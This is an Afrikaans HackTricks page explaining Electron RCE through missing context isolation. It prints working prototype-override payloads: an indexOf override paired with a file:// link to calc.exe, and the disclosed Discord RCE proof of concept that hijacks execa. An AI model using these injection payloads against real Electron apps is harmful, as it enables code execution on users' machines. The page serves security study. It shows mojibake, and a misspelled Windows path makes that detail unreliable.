Electron contextIsolation RCE via preload code
Tip
Leer & oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer & oefen Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Blaai deur die volledige HackTricks Training-katalogus vir die assesseringsroetes (ARTA/GRTA/AzRTA) en Linux Hacking Expert (LHE).
Ondersteun HackTricks
- Kyk na die intekenplanne!
- Sluit aan by die π¬ Discord-groep, die telegram-groep, volg @hacktricks_live op X/Twitter, of kyk na die LinkedIn-bladsy en YouTube-kanaal.
- Deel hacking tricks deur PRs in te stuur na die HackTricks en HackTricks Cloud github repos.
Voorbeeld 1
Voorbeeld van https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=30
Hierdie kode open http(s) skakels met die standaardblaaier:
.png)
Iets soos file:///C:/Windows/systemd32/calc.exe kan gebruik word om βn rekenaarprogram uit te voer, die SAFE_PROTOCOLS.indexOf keer dit egter.
Daarom kan βn aanvaller hierdie JS-kode via die XSS of arbitrΓͺre bladsy-navigasie inspuit:
<script>
Array.prototype.indexOf = function () {
return 1337
}
</script>
Aangesien die oproep na SAFE_PROTOCOLS.indexOf altyd 1337 sal teruggee, kan die aanvaller die beskerming omseil en die kalkuleerder uitvoer. Finale uitbuiting:
<script>
Array.prototype.indexOf = function () {
return 1337
}
</script>
<a href="file:///C:/Windows/systemd32/calc.exe">CLICK</a>
Kontroleer die oorspronklike skywe vir ander maniere om programme uit te voer sonder om βn prompt te vra vir toestemmings.
Blykbaar is βn ander manier om kode te laai en uit te voer om iets soos file://127.0.0.1/electron/rce.jar te benader.
Voorbeeld 2: Discord App RCE
Voorbeeld van https://mksben.l0.cm/2020/10/discord-desktop-rce.html?m=1
Toe ek die preload-skripte nagegaan het, het ek gevind dat Discord die funksie blootstel, wat toelaat dat sommige toegelate modules via DiscordNative.nativeModules.requireModule('MODULE-NAME') in die webblad aangeroep kan word.
Hier kon ek nie modules gebruik wat direk vir RCE gebruik kan word nie, soos die child_process module, maar ek het βn kode gevind waar RCE bereik kan word deur die ingeboude JavaScript-metodes te oorskry en in te gryp in die uitvoering van die blootgestelde module.
Die volgende is die PoC. Ek kon bevestig dat die calc toepassing verskyn wanneer ek die getGPUDriverVersions funksie aanroep wat gedefinieer is in die module genoem βdiscord_utilsβ van devTools, terwyl ek die RegExp.prototype.test en Array.prototype.join oorskry.
RegExp.prototype.test = function () {
return false
}
Array.prototype.join = function () {
return "calc"
}
DiscordNative.nativeModules
.requireModule("discord_utils")
.getGPUDriverVersions()
Die getGPUDriverVersions funksie probeer om die program uit te voer deur die βexecaβ biblioteek te gebruik, soos die volgende:
module.exports.getGPUDriverVersions = async () => {
if (process.platform !== "win32") {
return {}
}
const result = {}
const nvidiaSmiPath = `${process.env["ProgramW6432"]}/NVIDIA Corporation/NVSMI/nvidia-smi.exe`
try {
result.nvidia = parseNvidiaSmiOutput(await execa(nvidiaSmiPath, []))
} catch (e) {
result.nvidia = { error: e.toString() }
}
return result
}
Gewoonlik probeer die execa om βnvidia-smi.exeβ uit te voer, wat in die nvidiaSmiPath veranderlike gespesifiseer is, egter, as gevolg van die oorgeskryfde RegExp.prototype.test en Array.prototype.join, word die argument vervang met βcalcβ in die _execa_βs interne verwerking.
Specifiek word die argument vervang deur die volgende twee dele te verander.
Tip
Leer & oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer & oefen Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Blaai deur die volledige HackTricks Training-katalogus vir die assesseringsroetes (ARTA/GRTA/AzRTA) en Linux Hacking Expert (LHE).
Ondersteun HackTricks
- Kyk na die intekenplanne!
- Sluit aan by die π¬ Discord-groep, die telegram-groep, volg @hacktricks_live op X/Twitter, of kyk na die LinkedIn-bladsy en YouTube-kanaal.
- Deel hacking tricks deur PRs in te stuur na die HackTricks en HackTricks Cloud github repos.


